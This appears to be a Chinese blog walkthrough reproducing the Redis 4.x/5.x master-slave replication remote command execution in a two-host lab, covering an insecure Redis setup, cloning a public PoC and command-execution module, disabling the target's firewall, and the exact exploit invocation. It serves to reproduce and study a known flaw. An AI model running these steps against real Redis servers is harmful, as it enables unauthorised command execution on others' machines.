攻击机:centos mini 192.168.205.130

靶机:centos 192.168.205.128

影响范围:Redis4.x、5.x

0x01 安装redis包

wget download.redis.io/releases/redis-4.0.11.tar.gz

0x02 解压安装包

tar xzvf redis-4.0.11.tar.gz

目录下会新生成一个文件夹

yicunyiye@yicunyiye:~/redis$ ls
redis-4.0.11 redis-4.0.11.tar.gz

0x03 make安装

进入文件夹,在usr/local/redis目录下安装redis:

make PREFIX=/usr/local/redis install

0x04 修改redis.conf

cp /home/yicunyiye/redis/redis-4.0.11/redis.conf /usr/local/redis

修改conf文件

注释掉

#bind 127.0.0.1

修改为no,允许ip访问

protected-mode no

redis以后台方式启动

daemonize yes

0x04 服务端启动

在bin目录下

root@yicunyiye:/usr/local/redis/bin# ./redis-server /usr/local/redis/redis.conf
7901:C 07 Sep 19:22:17.689 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
7901:C 07 Sep 19:22:17.689 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=7901, just started
7901:C 07 Sep 19:22:17.689 # Configuration loaded

0x05 启动客户端并连接测试

./redis-cli

0x06 下载poc

git clone https://github.com/Ridter/redis-rce.git

0x07 下载RedisModules-ExecuteCommand

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

然后直接make

root@kali:~/redis-rce/RedisModules-ExecuteCommand# ls
RedisModules-ExecuteCommand
root@kali:~/redis-rce/RedisModules-ExecuteCommand# cd RedisModules-ExecuteCommand/
root@kali:~/redis-rce/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand# make

然后将/src下的modules.so文件复制到poc目录下

0x08 poc出现的一些问题

出现了

No route to host

解决办法:

关闭iptables

service iptables stop

或者清理规则

iptables -F

注:这里是在靶机上执行关闭防火墙

运行发现缺少six库

先安装pip

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

会在目录下生成一个get-pip.py

python get-pip.py

再安装

pip install six

运行poc

python redis-rce.py -r 192.168.205.128 -L 192.168.205.130 -f module.so

-r 目标ip -L本机ip

redis命令执行复现的更多相关文章

  1. Redis 命令执行过程(上)

    今天我们来了解一下 Redis 命令执行的过程.在之前的文章中<当 Redis 发生高延迟时,到底发生了什么>我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深读者对 R ...

  2. Redis 命令执行过程(下)

    在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命令执行的整体流程,然后细致分析了从 Redis 启动到建立 socket 连接,再到读取 socket 数据 ...

  3. Redis 命令执行全过程分析

    今天我们来了解一下 Redis 命令执行的过程.我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深大家对 Redis 的了解. 如下图所示,一条命令执行完成并且返回数据一共涉及三部分 ...

  4. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  5. Apache Solr远程命令执行复现

    环境 /vulhub/solr/CVE-2019-0193/ 创建一个集合 docker-compose exec solr bash bin/solr create_core -c test -d ...

  6. redis 命令的调用过程

    参考文献: Redis 是如何处理命令的(客户端) 我是如何通过添加一条命令学习redis源码的 从零开始写redis客户端(deerlet-redis-client)之路--第一个纠结很久的问题,r ...

  7. fastcgi未授权访问及任意命令执行

    1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...

  8. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

  9. redis如何执行redis命令

    Redis 命令 Redis 命令用于在 redis 服务上执行操作.所以我们必须要启动Redis服务程序,也就是redis安装目录下的redis-server.exe,你可以双击执行,也可以打开cm ...

随机推荐

  1. centos AAVMF_CODE.fd 文件下载

    centos: yum install AAVMF -y ubuntu: apt-get install qemu-efi*

  2. Java多线程同步_synchronized

    1.synchronized是什么?synchronized是Java中的关键字,是一种同步锁.它修饰的对象有以下几种:1. 修饰一个代码块,被修饰的代码块称为同步语句块,其作用的范围是大括号{}括起 ...

  3. wordpress个人常用标签调用

    wordpress常见标签调用,老是容易忘记,又要找半天,干脆搬到网站上. <?php bloginfo('name');?>网站名称 url <?php echo home_url ...

  4. python接口测试自动化之python基础语法

    一.pycharm的使用和python基本语法 (一).pycharm的使用和python环境 1.python以及pycharm的安装 python 的版本选择:3.x 版本,不要安装2.x 版本, ...

  5. 巧用HashMap一行代码统计单词出现次数

    简介 JDK是在一直在迭代更新的,很多我们熟悉的类也悄悄的添加了一些新的方法特性.比如我们最常用的HashMap. 今天给大家讲一下HashMap在JDK8中添加的两个新方法compute和merge ...

  6. Android开发之第三方推送JPush极光推送知识点详解 学会集成第三方SDK推送

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 下面是一些知识点介绍,后期将会带领大家进行代码实战: 一.Android实现推送方式解决方案: 1.推 ...

  7. 【Android】Android开发点击查看手机电量的小功能。学习广播的一个小技能小Demo

    作者:程序员小冰,GitHub主页:https://github.com/QQ986945193 微博:http://weibo.com/mcxiaobing 首先给大家看一下效果图: 先写一个广播类 ...

  8. JAVA中 错误代码是 the public type must be defined in its own file 解决方法 android开发 java编程

    一般是由于定义的JAVA类同文件名不一致: 解决方法: 1.把文件名修改同XYZ一样的名字: 2.把类名修改成同文件名:

  9. Apollo(阿波罗)配置中心Java客户端使用指南使用指南

          Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境.不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限.流程治理等特性,适用于微服务配置管 ...

  10. Pandas | Dataframe的merge操作,像数据库一样尽情join

    今天是pandas数据处理第8篇文章,我们一起来聊聊dataframe的合并. 常见的数据合并操作主要有两种,第一种是我们新生成了新的特征,想要把它和旧的特征合并在一起.第二种是我们新获取了一份数据集 ...